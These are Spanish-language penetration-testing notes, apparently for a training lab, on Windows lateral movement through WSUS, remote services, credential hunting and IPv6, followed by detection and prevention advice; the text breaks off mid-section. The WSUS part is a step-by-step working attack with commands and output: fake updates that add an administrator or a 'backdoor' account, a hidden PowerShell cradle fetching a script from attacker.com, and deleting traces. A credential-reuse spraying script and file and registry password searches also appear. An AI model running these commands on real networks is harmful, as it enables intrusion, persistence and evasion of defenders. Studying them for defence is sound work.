Lateral Movement — Windows Server Update Services (WSUS)
Herramientas
- Windows Server Update Services (WSUS)
- SharpWSUS
- PSExec64 - Sysinternals
- WSUSpendu - PowerShell alternative
- Thunder_Woosus - C# alternative
- MITRE T1021 — Remote Services
- MITRE T1195 — Supply Chain Compromise
Contexto
WSUS (Windows Server Update Services) es un servicio Microsoft que permite a administradores distribuir actualizaciones y parches para productos Microsoft en toda una red de forma escalable. Los servidores internos reciben actualizaciones sin necesidad de acceso directo a internet.
¿Por qué es peligroso?
WSUS es ampliamente usado en redes corporativas Windows porque centraliza la gestión de parches. Si un atacante obtiene control del servidor WSUS o credenciales administrativas, puede:
- Crear actualizaciones maliciosas que parecen legítimas
- Forzar la instalación de malware en cualquier computadora que confíe en ese servidor WSUS
- Ejecutar comandos con privilegios SYSTEM en máquinas remotas
- Moverse lateralmente sin levantar alarmas (tráfico de actualización es "normal")
Requisitos para explotar WSUS:
Necesitas ser miembro de:
- Grupo
Administratoren el servidor WSUS, O - Grupo
WSUS Administrators
El servidor WSUS debe estar configurado para aceptar actualizaciones (lo cual es lo normal).
WSUS — Enumeración
Detectar si WSUS está configurado
# Desde cualquier máquina Windows, consulta el registro para identificar WSUS
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServerOutput esperado:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://wsus.inlanefreight.local:8530Contexto: El valor WUServer muestra la URL del servidor WSUS. El puerto por defecto es 8530 (HTTP) o 8531 (HTTPS).
Localizar servidor WSUS con SharpWSUS
# Ejecutar SharpWSUS para localizar el servidor WSUS automáticamente
.\SharpWSUS.exe locateOutput esperado:
[*] Action: Locate WSUS Server
WSUS Server: http://wsus.inlanefreight.local:8530
[*] Locate completeContexto: Este comando consulta el registro de todos los clientes para encontrar qué servidor WSUS está configurado.
Inspeccionar servidor WSUS (requiere acceso RDP)
Una vez tengas acceso RDP al servidor WSUS con credenciales administrativas:
# Ejecutar como Administrator
.\SharpWSUS.exe inspectOutput esperado:
[*] Action: Inspect WSUS Server
################# WSUS Server Enumeration via SQL #################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
WSUS, 8530, C:\WSUS\WsusContent
####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
sccm.inlanefreight.local, 172.20.0.25, 10.0.17763.2510, 6/26/2024 12:14:15 PM
dc01.inlanefreight.local, 172.20.0.10, 10.0.17763.2510
srv01.inlanefreight.local, 172.20.0.51, 10.0.17763.2510
####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------
####################### Group Enumeration #######################
GroupName
---------------------------------------------------
All Computers
Downstream Servers
Unassigned Computers
[*] Inspect completeContexto: Este output te muestra:
- Ubicación del contenido WSUS:
C:\WSUS\WsusContent(donde se descargan los parches) - Computadoras gestionadas: Qué máquinas están bajo control de WSUS
- Última conexión: Cuándo cada máquina se conectó para buscar actualizaciones
- Grupos WSUS: Para dirigir actualizaciones a máquinas específicas
WSUS — Explotación paso a paso
Paso 1: Crear una actualización maliciosa
WSUS solo ejecuta binarios firmados por Microsoft. Usaremos PSExec64.exe (signed by Microsoft) para ejecutar comandos.
# Crear la actualización maliciosa
# Vamos a agregar 'filiplain' al grupo Administrators del servidor objetivo
.\SharpWSUS.exe create /payload:"C:\Tools\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c net localgroup Administrators filiplain /add" /title:"NewAccountUpdate"Parámetros explicados:
/payload— Ruta a PSExec64.exe (binario firmado por Microsoft)/args— Argumentos que ejecutará PSExec:-accepteula— Evita pop-ups de EULA-s— Ejecuta como SYSTEM-d— Retorna inmediatamente (no espera a que termine)cmd.exe /c— Ejecuta comando de Windowsnet localgroup Administrators filiplain /add— Agrega usuario al grupo Admins
/title— Nombre visible de la actualización en WSUS
Output esperado:
[*] Action: Create Update
[*] Creating patch to use the following:
[*] Payload: PSExec.exe
[*] Payload Path: C:\Tools\sysinternals\PSExec.exe
[*] Arguments: -accepteula -s -d cmd.exe /c 'net localgroup Administrators filiplain /add'
ImportUpdate Update Revision ID: 101472
PrepareXMLtoClient InjectURL2Download DeploymentRevision
PrepareBundle Revision ID: 101473
[*] Update created - When ready to deploy use the following command:
[*] SharpWSUS.exe approve /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:Target.FQDN /groupname:"Group Name"
[*] To check on the update status use the following command:
[*] SharpWSUS.exe check /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:Target.FQDN
[*] To delete the update use the following command:
[*] SharpWSUS.exe delete /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:Target.FQDN /groupname:"Group Name"
[*] Create completeContexto: La herramienta te da directamente los comandos para:
- Aprobar la actualización
- Verificar si se instaló
- Limpiar la actualización después
Paso 2: Aprobar la actualización para máquina objetivo
# Aprobar la actualización para srv01
.\SharpWSUS.exe approve /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:srv01.inlanefreight.local /groupname:"FastUpdates"Parámetros:
/updateid— ID de la actualización creada en el paso anterior/computername— Máquina objetivo (FQDN)/groupname— Nombre del grupo WSUS a crear (se crea si no existe)
Output esperado:
[*] Action: Approve Update
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3
Group Exists = False
Group Created: FastUpdates
Computer Added To Group
Approved Update
[*] Approve completeContexto: Si aparece error de descarga de PSExec64.exe, probablemente sea porque tu usuario no es miembro de "WSUS Administrators" (ver solución manual abajo).
Paso 2 alternativo: Aprobar manualmente (si SharpWSUS falla)
A veces SharpWSUS no funciona. Aquí está el método manual:
- Abre Windows Server Update Services (aplicación GUI)
- Navega a All Updates
- Encuentra NewAccountUpdate (sin aprobar)
- Haz clic derecho → Approval → Selecciona grupo → Approved for Install
- Cambia el estado a Approved
Problema común: Si ves error "download failed" (404), significa que el archivo PSExec64.exe no se descargó. Verifica los logs:
# Ver evento ID 364 (Content file download failed)
Get-WinEvent -LogName Application | Where-Object { $_.Id -eq 364 } | flOutput esperado:
TimeCreated : 7/3/2024 5:19:00 AM
ProviderName : Windows Server Update Services
Id : 364
Message : Content file download failed.
Reason: HTTP status 404: The requested URL does not exist on the server.
Source File: /Content/wuagent.exe
Destination File: C:\WSUS\WsusContent\02\0098C79E1404B4399BF0E686D88DBF052269A302.exeSolución: Copiar PSExec64.exe manualmente a esa ruta:
copy C:\Tools\sysinternals\PSExec64.exe C:\WSUS\WsusContent\02\0098C79E1404B4399BF0E686D88DBF052269A302.exeLuego, en la GUI de WSUS, selecciona la actualización y haz clic en Retry Download.
Paso 3: Esperar a que el cliente instale la actualización
Los clientes verifican automáticamente cada cierto tiempo. Puedes forzar esto desde el cliente:
# En la máquina cliente (SRV01), forzar búsqueda de actualizaciones
# Ir a Settings > Update & Security > Check for updatesO verificar manualmente desde el servidor WSUS:
# Verificar estado de la actualización
.\SharpWSUS.exe check /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:srv01.inlanefreight.localOutput esperado (antes de instalar):
[*] Action: Check Update
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3
Update Info cannot be found.
[*] Check completeOutput esperado (después de instalar):
[*] Action: Check Update
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3
Update Installed: NewAccountUpdate
[*] Check completePaso 4: Verificar que el comando se ejecutó
# Verificar que 'filiplain' ahora es admin en SRV01
net localgroup administratorsOutput esperado:
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
---------------------------------------------------------------------------
Administrator
INLANEFREIGHT\Domain Admins
INLANEFREIGHT\Filiplain <-- ¡NUEVO!
INLANEFREIGHT\PDQ Deploy Admin
The command completed successfullyContexto: El usuario filiplain ahora tiene privilegios administrativos en SRV01, lo que permite:
- RDP como admin
- Ejecutar comandos con
runas /user:filiplain - Instalar malware
- Crear persistencia
- Enumerar credenciales
- Continuar movimiento lateral
Paso 5: Limpiar (eliminar la actualización)
Una vez que la actualización se instaló, elimínala para no dejar rastro:
.\SharpWSUS.exe delete /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:srv01.inlanefreight.local /groupname:"FastUpdates"Output esperado:
[*] Action: Delete Update
[*] Update declined.
[*] Update deleted.
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3
Removed Computer From Group
Remove Group
[*] Delete completeContexto: Esto elimina la actualización de WSUS y la desaprueba, dejando el servidor más limpio.
WSUS — Casos prácticos avanzados
Ejecutar reverse shell via WSUS
En lugar de agregar usuario, ejecuta un comando que lance una reverse shell:
# Crear actualización con reverse shell
.\SharpWSUS.exe create /payload:"C:\Tools\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" /title:"CriticalSecurityUpdate"Contexto: Esto descarga y ejecuta un script PowerShell desde tu servidor de C2, completamente en memoria, sin dejar archivos en disco.
Ejecutar comando como Domain Admin
Si tienes credenciales de Domain Admin en el servidor WSUS, puedes agregar usuarios a máquinas en toda la red:
# Comando genérico que funciona en cualquier máquina Windows
.\SharpWSUS.exe create /payload:"C:\Tools\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add" /title:"CriticalSecurityUpdate"Esto crea un usuario backdoor con contraseña Password123! y lo agrega a Administrators, todo a través de WSUS.
Determinar si máquina usa WSUS
Desde Linux/Pwnbox:
# Nmap scan para ver si puerto 8530/8531 está abierto en servidor sospechoso
nmap -p8530,8531 target.local -sCV
# Output:
# 8530/tcp open http Microsoft IIS httpd
# |_http-title: Windows Server Update ServicesHerramientas alternativas a SharpWSUS
WSUSpendu — PowerShell tool, más antiguo pero aún funciona:
# Importar y usar WSUSpendu
Import-Module .\WSUSpendu.ps1
Invoke-WSUSpendu -UpdateTitle "MaliciousUpdate" -UpdateDescription "Legit patch" -ComputerTargets "srv01.inlanefreight.local"Thunder_Woosus — C# tool similar a SharpWSUS:
# Uso similar a SharpWSUS
.\Thunder_Woosus.exe create /payload:C:\payload.exe /args:"/s /i" /title:"Update"
.\Thunder_Woosus.exe approve /updateid:xxx /computername:targetLimitación importante: No hay herramientas equivalentes que funcionen 100% desde Linux. WSUS exploitation requiere acceso a Windows o maquina con herramientas Windows.
Mitigación y detección
Desde perspectiva defensiva:
# Auditar cambios en actualización WSUS
Get-EventLog -LogName System | Where-Object { $_.EventID -eq 3 } | Select-Object TimeGenerated,Message | head -20
# Verificar grupos de WSUS y membresía
# En servidor WSUS:
wsusutil.exe getdownstreamservers
# Monitorear cambios en grupo Administrators
Get-EventLog -LogName Security | Where-Object { $_.EventID -eq 4728 } # User added to privileged groupMejores prácticas:
Restringir acceso al servidor WSUS solo a administradores de confianza, implementar MFA en credenciales administrativas, auditar todas las acciones de WSUS (crear, aprobar, eliminar actualizaciones), usar Windows Defender for Endpoint para detectar ejecución anómala de PSExec, monitorear cambios en grupo Administrators, implementar WSUS Trusted Root Certificate pinning.
Conclusión
WSUS es un objetivo de alto valor en entornos Windows porque permite:
- Ejecutar código como SYSTEM en cualquier máquina que confíe en el servidor
- Moverse lateralmente sin levantar alarmas (es tráfico legítimo)
- Escalada de privilegios a nivel de dominio
- Persistencia a largo plazo
En un assessment:
- Enumera si WSUS está presente en la red
- Busca credenciales de administrador WSUS
- Si accedes al servidor WSUS, asume que toda la red es comprometible
- Crea actualizaciones maliciosas, apruebalas, y espera a que se instalen
- Limpia después (ejecuta
delete)
El ataque es silencioso, potente, y es una ruta muy realista para lateral movement en redes corporativas grandes.
Lateral Movement — General Considerations
Herramientas
- Windows Privilege Escalation Module - Credential Pillaging
- netstat - Identificar puertos no estándar
- tasklist - Mapear PID a servicios
- nmap - Escaneo activo de hosts remotos
- Enter-PSSession - WinRM remoto
- mstsc.exe - Remote Desktop Client
- MITRE T1021 — Remote Services
Contexto General
El lateral movement en Windows es un proceso repetitivo basado en:
- Identificar activos disponibles — Usuarios, contraseñas, redes, computadoras
- Buscar servicios — Entender cómo interactúan y cómo abusar de ellos
- Ganar acceso — Comprometer un servicio o máquina
- Repetir — Buscar más credenciales y continuar el proceso
La creatividad es fundamental. Observar cómo los servicios interactúan puede revelar oportunidades no documentadas:
- Entornos de desarrollo ejecutando código en servidores accesibles
- Aplicaciones conectándose a carpetas compartidas para descargar y ejecutar DLLs
- Servidores MSSQL ejecutando queries desde archivos de configuración
- Software de inventario instalado en el dominio que puede ejecutar comandos PowerShell
El punto clave: No necesitas ser admin para hacer lateral movement. Muchos servicios permiten a usuarios no-privilegiados ejecutar comandos.
User Privileges — Acceso sin derechos administrativos
Servicios que NO requieren privilegios de admin
Los siguientes servicios permiten a usuarios no-administrativos ejecutar comandos remotamente:
PSRemoting (WinRM) — Ejecutar PowerShell remoto
# Conectar a máquina remota
Enter-PSSession -ComputerName target.local
# O con credenciales específicas
$cred = Get-Credential
Enter-PSSession -ComputerName target.local -Credential $cred
# Ejecutar comando y salir
Invoke-Command -ComputerName target.local -ScriptBlock { whoami }RDP (Remote Desktop Protocol) — Interfaz gráfica remota
# Conectar via RDP
mstsc /v:target.local
# Con usuario específico
mstsc /v:target.local /u:usernameWMI (Windows Management Instrumentation) — Consultas remotas
# Ejecutar comando via WMI
wmic /node:target.local process call create "cmd.exe /c whoami"
# O con PowerShell
Invoke-WmiMethod -ComputerName target.local -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami"DCOM (Distributed Component Object Model) — Objetos COM remotos
# Usar Excel COM para ejecutar macros remotamente
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "target.local"))
$excel.Run("MyMacro")SSH — Si está habilitado en Windows
ssh user@target.local
ssh -i keyfile.pem user@target.localRecomendación práctica
Prueba SIEMPRE tus credenciales encontradas contra estos 5 servicios:
- RDP (puerto 3389)
- WinRM/PSRemoting (puerto 5985/5986)
- WMI (puertos variados)
- DCOM (puertos variados)
- SSH (puerto 22)
No asumasque un usuario es "sin privilegios" — puede tener acceso a servicios específicos.
Firewall Blocking — Bypassear restricciones de red
Identificar puertos no estándar
Los administradores a menudo cambian puertos por defecto. Usa netstat para identificarlos:
# Ver todos los puertos en LISTENING
netstat -ano
# Output esperado:
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1704
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:23389 0.0.0.0:0 LISTENING 336
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 2048Contexto: En este ejemplo, puerto 23389 es inusual. Necesitas identificar a qué servicio pertenece.
Mapear puerto a servicio
Usa tasklist con el PID que obtuviste:
# Identificar qué servicio usa puerto 23389 (PID 336)
tasklist /svc /FI "PID eq 336"
# Output esperado:
Image Name PID Services
===================== ====== =====================
svchost.exe 336 TermServiceContexto: TermService = Remote Desktop Services. Entonces 23389 es RDP en puerto no estándar.
Restricciones comunes de firewall
Los administradores pueden aplicar estas restricciones:
- Cambiar puertos por defecto — RDP en 23389 en lugar de 3389
- Restringir a workstations específicas — Solo cierta máquina puede conectarse a DC
- Whitelist de IPs — Solo tráfico desde redes específicas
- Bloquear outbound a internet — Pero tráfico interno permitido
- Monitorear tráfico — Aunque no bloqueen, logran el movimiento lateral
Estrategia para bypassear firewall
Si no tienes acceso directo a un servidor:
# Opción 1: Usar máquina intermedia (pivoting)
# Conectar a máquina A (accesible)
# Desde A, conectar a máquina B (no accesible desde tu IP)
# Opción 2: Usar túneles SSH/WinRM
# Crear túnel desde máquina intermediaria
# Opción 3: Usar IPv6 (ver sección abajo)Escaneo activo con nmap
Desde Linux/Pwnbox, escanea para identificar puertos abiertos:
# Escaneo de puertos comunes en máquina remota
nmap -p 3389,5985,5986,445,135,22 target.local
# Escaneo más agresivo
nmap -p- -sV target.local
# Escaneo específico de servicios
nmap -p 3389 -sCV target.localCredentials — Buscar y reutilizar contraseñas
Ubicaciones comunes de credenciales
Archivos de configuración:
# Buscar archivos config
dir C:\ -Include "*.config" -Recurse -ErrorAction SilentlyContinue
# Archivos de conexión de bases de datos
Get-ChildItem -Path C:\ -Include "*.txt", "*.conf", "*.xml" -Recurse | Select-String "password"Registro de Windows:
# Credenciales VNC, RDP, etc. pueden estar en el registro
reg query HKLM\Software /s | findstr /i "password"
reg query HKCU\Software /s | findstr /i "password"Archivos en Desktop/Documents:
# Buscar credenciales en archivos de usuario
Get-ChildItem -Path C:\Users -Include "*.txt", "*.doc", "*.xlsx" -Recurse | Select-String "password|username|credentials"Variables de entorno y archivos batch:
# Buscar en scripts batch
Get-ChildItem -Path C:\ -Include "*.bat", "*.cmd", "*.ps1" -Recurse | Select-String "password"Historial PowerShell:
# Ver comandos ejecutados con credenciales
Get-History
# Archivo de historial
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtSticky Notes / Notas (sí, en serio):
# Windows 10/11 - Sticky Notes en base de datos
dir C:\Users\*\AppData\Local\Packages\Microsoft.StickyNotes_*Reutilizar credenciales
Principio fundamental: Los administradores reutilizan contraseñas. Si encuentras password123, pruébala en:
- Todos los usuarios locales
- Todas las máquinas de la red
- Servicios remotos (RDP, WinRM, SSH)
- Bases de datos
- Aplicaciones web internas
# Script simple para probar credenciales contra múltiples hosts
$hosts = @("server1.local", "server2.local", "dc.local")
$username = "admin"
$password = "Password123!"
foreach ($host in $hosts) {
Write-Host "Probando $host..."
# Intentar RDP (esto solo verifica conectividad)
Test-NetConnection -ComputerName $host -Port 3389
# Intentar WinRM
try {
$cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))
Enter-PSSession -ComputerName $host -Credential $cred
Write-Host "¡ÉXITO en $host!"
} catch {
Write-Host "Fallo en $host"
}
}IPv6 — Bypassear firewall IPv4
IPv6 está habilitado por defecto en Windows
La mayoría de firewalls modernos se enfocan en IPv4. Si el firewall bloquea IPv4 pero overlookea IPv6, puedes usarlo para movimiento lateral.
Nota importante: IPv6 a menudo está habilitado pero monitorizado. Úsalo solo si IPv4 está bloqueado.
Encontrar direcciones IPv6
# Ver todas las direcciones IPv6 en la máquina
ipconfig /all
# Output esperado:
Ethernet adapter Ethernet:
IPv6 Address . . . . . . . . . . . : dead:beef::647f:620f:3a1a:e978
Link-local IPv6 Address . . . . . : fe80::1Conectar via WinRM usando IPv6
# Sintaxis: usar IPv6 entre corchetes
Enter-PSSession -ComputerName [dead:beef::647f:620f:3a1a:e978] -Authentication Negotiate
# Con credenciales específicas
$cred = Get-Credential
Enter-PSSession -ComputerName [dead:beef::647f:620f:3a1a:e978] -Credential $cred -Authentication NegotiateConectar via RDP usando IPv6
# Usar Remote Desktop Connection con IPv6
mstsc /v:[dead:beef::647f:620f:3a1a:e978]
# O desde línea de comandos
rasdial "Conexión RDP" [dead:beef::647f:620f:3a1a:e978] usuario contraseñaEscanear IPv6
# Desde Linux, escanear subnet IPv6
nmap -6 dead:beef::0/112 -p 3389,5985,5986
# Ping a dirección IPv6 específica
ping6 [dead:beef::647f:620f:3a1a:e978]Estrategia General de Lateral Movement
El ciclo completo
Enumeración inicial
powershell# ¿Qué máquinas hay en la red? net view # ¿Qué servicios corren localmente? Get-Service | Select-Object Name,Status # ¿Qué puertos están abiertos? netstat -anoIdentificar servicios accesibles
- RDP, WinRM, WMI, DCOM, SSH
- Puertos no estándar
- IPv6 si IPv4 está bloqueado
Buscar credenciales
- Archivos config
- Registro
- Scripts
- Historial PowerShell
- Sticky notes (sí, de verdad)
Probar credenciales contra servicios
powershell# Probar contra RDP mstsc /v:target /u:usuario # Probar contra WinRM Enter-PSSession -ComputerName target -Credential $credGanar acceso a nueva máquina
- Ejecutar comandos
- Instalar herramientas
- Crear persistencia
Repetir desde paso 1
- Buscar más credenciales
- Identificar nuevos servicios
- Continuar el ciclo
Mitigación y Defensa
Desde perspectiva defensiva
# Auditar intentos fallidos de login
Get-EventLog -LogName Security -InstanceId 4625 | Select-Object TimeGenerated,Message | head -20
# Ver quién se conectó via WinRM
Get-EventLog -LogName Security -InstanceId 4648
# Monitorear puertos abiertos
netstat -ano | findstr LISTENINGMejores prácticas de defensa
- Implementar MFA en todos los servicios remotos
- Usar contraseñas únicas por servicio (no reutilizar)
- Monitorear IPv6 — No asumir que es "invisible"
- Segmentación de red — Aislar servidores críticos
- Auditar cambios de puertos — Documentar puertos no estándar
- Implementar EDR (Endpoint Detection & Response)
- Deshabilitar servicios innecesarios — Si no usas RDP, desactívalo
Conclusión
El lateral movement en Windows es un proceso iterativo de enumeración → acceso → repetición.
No necesitas exploits complejos. A menudo funciona:
- Encontrar credenciales (normalmente las reutilizan)
- Probarlas contra RDP, WinRM, WMI
- Ganar acceso a nueva máquina
- Buscar más credenciales
- Repetir hasta comprometer el objetivo
La creatividad es tu mejor herramienta. Observa cómo los servicios interactúan y busca formas de abusar de esas interacciones.
Lateral Movement — Prevention & Detection
Herramientas
- Windows Event Viewer - Monitoreo de logs
- Windows Firewall - Segmentación de red
- Active Directory (AD) - Gestión de privilegios
- Group Policy Objects (GPOs) - Políticas de seguridad
- Azure AD Conditional Access - Zero Trust
- Wireshark - Análisis de tráfico de red
- KFSensor - Honeypots
- sshesame - Honeypot SSH
- SIEM Fundamentals - Monitoreo centralizado
- MITRE T1021 — Remote Services
Contexto
El lateral movement es una de las técnicas más comunes en ataques dirigidos. Un atacante que compromete una máquina intenta acceder a otras máquinas en la red usando credenciales, servicios, o técnicas de movimiento lateral.
La defensa requiere dos enfoques simultáneos:
- Detection — Identificar cuando ocurre lateral movement
- Prevention — Dificultar o bloquear intentos de lateral movement
Una defensa robusta combina ambos enfoques para reducir riesgo y impacto.
DETECTION — Identificar movimiento lateral
1. Monitoreo de logs de autenticación
Concepto: Los atacantes que hacen lateral movement crean patrones anómalos de login:
- Logins desde IPs inesperadas
- Logins a horas inusuales
- Múltiples intentos fallidos (brute force)
- Logins desde ubicaciones imposibles (geographically impossible)
Herramienta: Windows Event Viewer
Paso 1: Abrir Event Viewer
# Presionar Win + R
eventvwrPaso 2: Navegar a logs de seguridad
Windows Logs → Security
Paso 3: Filtrar por eventos de login
Event IDs importantes:
- 4624 — Successful logon (login exitoso)
- 4625 — Failed logon (intento fallido)
- 4720 — User account created (nueva cuenta creada)
- 4722 — User account enabled (cuenta habilitada)
- 4728 — Member added to security group (usuario agregado a grupo)
Contexto: Si ves 50 intentos fallidos de login seguidos por 1 exitoso, es un brute force.
Paso 4: Buscar patrones anómalos
# Ver eventos de login usando PowerShell
Get-EventLog -LogName Security -InstanceId 4624 | Select-Object TimeGenerated,UserName | head -20
# Ver intentos fallidos
Get-EventLog -LogName Security -InstanceId 4625 | Select-Object TimeGenerated,UserName | head -20
# Ver cambios en grupo Administrators
Get-EventLog -LogName Security -InstanceId 4728 | Select-Object TimeGenerated,MessageBusca:
- Logins a las 3 AM (inusual)
- IP source extraña (ej: 192.168.100.50 cuando normalmente está en 10.0.0.x)
- Múltiples fallos seguidos de éxito
- Usuarios agregados a grupos privilegiados de repente
2. Honeypots y Deception
Concepto: Crear sistemas falsos que parecen reales para atrapar a atacantes y aprender sus tácticas.
Ventajas:
- Detectas cuando un atacante intenta movimiento lateral
- Capturas tácticas y herramientas reales usadas
- Aprendes cómo mejorar la defensa
Herramientas:
KFSensor — Honeypot Windows
# Instalar KFSensor y configurar servicios falsos
# Crear puertos fake (445, 3389, 5985) que registran intentos de accesosshesame — Honeypot SSH
# Simula SSH server, graba todos los intentos de login
sshesame -p 2222
# Todos los logins fallan, pero registra intentosFake shares en Windows
# Crear carpeta compartida con nombre atractivo
# "Passwords", "Backups", "Admin_Tools"
# Si alguien intenta acceder, lo registrasContexto: Si ves intentos de acceso a honeypot "C$_Backup_DB_Passwords", sabes que hay un atacante activo en tu red.
3. Análisis de tráfico de red
Concepto: Monitorear comunicaciones entre máquinas. Attackers generan tráfico anómalo:
- Conexiones entre máquinas que normalmente no se hablan
- Puertos no estándar
- Protocolos inusuales
- Patrones de comunicación sospechosos
Patrones a buscar:
- Credential dumping — Tráfico LSASS access (lsass.exe)
- WMI lateral movement — Puerto 135 (RPC)
- PSExec — Puertos 445 (SMB) + creación de archivos ejecutables
- RDP lateral — Puerto 3389 desde máquinas internas
Herramientas:
# Wireshark — capturar y analizar tráfico
wireshark
# Filtros útiles:
# tcp.dstport == 445 && tcp.flags == 0x02 (SYN packets a puerto SMB)
# tcp.dstport == 3389 (RDP traffic)
# tcp.dstport == 5985 or 5986 (WinRM traffic)# Windows Performance Monitor — análisis local
perfmon
# Monitorear:
# - Network I/O
# - Outbound connections
# - Port usage4. Endpoint Detection and Response (EDR)
Concepto: Software que monitorea comportamiento de procesos y detecta ejecución de herramientas de lateral movement.
Herramientas detectadas:
- PsExec (ejecución remota)
- WMIExec (WMI remoto)
- PowerShell remoto
- Mimikatz (credential dumping)
- Cobalt Strike
- MetaSploit
Cómo funciona:
EDR monitorea:
1. Ejecución de procesos → PsExec.exe lanzando cmd.exe remotamente
2. Escritura en registro → Cambios en HKLM\System
3. Inyección de memoria → DLL injection techniques
4. Red → Conexiones outbound sospechosas
5. Archivos → Descarga/ejecución de malwareHerramientas EDR populares:
- Microsoft Defender for Endpoint
- CrowdStrike Falcon
- SentinelOne
- Elastic Security
- Carbon Black
PREVENTION — Prevenir movimiento lateral
1. Network Segmentation (Segmentación de red)
Concepto: Dividir la red en segmentos aislados. Si un atacante compromete una máquina, no puede acceder fácilmente a otras.
Implementación:
# Usar VLANs para aislar redes
# VLAN 10: Workstations
# VLAN 20: Servers
# VLAN 30: Domain Controllers
# Configurar Windows Firewall en cada segmento
netsh advfirewall firewall add rule name="Block_Lateral" dir=in action=block remoteip=10.0.0.0/8 remoteport=445 protocol=tcpFirewall rules efectivas:
# Bloquear SMB desde workstations a servers (excepto file servers específicos)
netsh advfirewall firewall add rule name="Block_SMB_Lateral" dir=in action=block protocol=tcp localport=445 remoteip=10.0.0.0/16
# Bloquear RDP entre workstations
netsh advfirewall firewall add rule name="Block_RDP_Lateral" dir=in action=block protocol=tcp localport=3389 remoteip=10.0.0.0/16
# Permitir solo desde Admin network
netsh advfirewall firewall add rule name="Allow_RDP_Admin" dir=in action=allow protocol=tcp localport=3389 remoteip=192.168.1.0/24Contexto: Aunque un atacante tenga credenciales válidas, el firewall bloquea la conexión a máquinas en otros segmentos.
2. Least Privilege (Mínimos privilegios)
Concepto: Dar a cada usuario/aplicación SOLO los permisos que necesita. Si se compromete, el damage es limitado.
Implementación en Active Directory:
# Crear roles específicos (RBAC - Role Based Access Control)
# En lugar de hacer todos admins:
# Role 1: "ServerAdmins" — solo can admin servers
# Role 2: "WorkstationAdmins" — solo can admin workstations
# Role 3: "FileShareManagers" — solo can manage file shares
# Asignar usuarios a roles usando GPOsAuditar permisos excesivos:
# Ver quiénes son admins locales
Get-LocalGroupMember -Group "Administrators"
# Ver permisos en grupos de AD
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name,ObjectClass
# Revocar permisos innecesarios
Remove-ADGroupMember -Identity "Domain Admins" -Members "lowprivuser" -Confirm:$falseVentaja: Si un atacante roba credenciales de "filiplain" que es usuario normal, no puede hacer mucho. No es admin.
3. Zero Trust Architecture
Concepto: No confíar en NADA. Cada acceso debe ser verificado, incluso desde dentro de la red.
Componentes:
Azure AD Conditional Access — Verificación continua
# Requiere MFA para todos los logins (incluso internos)
# Bloquea logins desde ubicaciones inusuales
# Requiere dispositivos "compliant" (antivirus actualizado, etc)
# Re-autenticación cada X minutos para acceso sensibleMicro-segmentation — Aislar cada sistema
En lugar de:
All Users → Can access → All Servers
Zero Trust:
User John → MFA verified → Device Windows10_compliant → Can access → File_Server_Only
User Jane → MFA verified → Device MacBook_compliant → Can access → Dev_Server_OnlyMonitoreo continuo
# Cada acceso se verifica contra:
# - User identity
# - Device health (antivirus, firewall status)
# - Network location
# - Access patterns (es normal que acceda a esto a esta hora?)
# Si algo es sospechoso, bloquea/alertaChecklist de Defensa
Detección (Lo que debes implementar ahora)
[ ] Monitorear Event IDs 4624, 4625 en todos los Domain Controllers
[ ] Alertar sobre múltiples intentos fallidos (>5 en 10 min)
[ ] Alertar sobre logins fuera de horario laboral
[ ] Alertar sobre logins de ubicaciones nuevas
[ ] Monitorear Event ID 4728 (user agregado a grupos privilegiados)
[ ] Implementar SIEM (Splunk, ELK, etc) para correlación de logs
[ ] Instalar honeypots (fake shares, servicios falsos)
[ ] Monitorear tráfico SMB anómalo
[ ] Implementar EDR en endpoints críticosPrevención (Defensa en profundidad)
[ ] Segmentar red en VLANs por función (workstations, servers, DC)
[ ] Configurar Windows Firewall para bloquear lateral movement
[ ] Auditar y remover privilegios excesivos
[ ] Implementar "Admin Workstations" (máquinas para admin tasks)
[ ] Deshabilitar servicios innecesarios (RDP, WinRM) en workstations
[ ] Implementar Conditional Access en Azure AD
[ ] Requerir MFA para acceso remoto
[ ] Implementar micro-segmentation
[ ] Rotar contraseñas de cuentas de servicio (krbtgt, etc)
[ ] Auditar y limitar cuentas con acceso de Domain AdminCaso práctico: Detectar ataque WSUS
Escenario: Atacante crea actualización maliciosa via WSUS
Indicadores de compromiso (IoCs):
# 1. Evento de actualización no autorizada
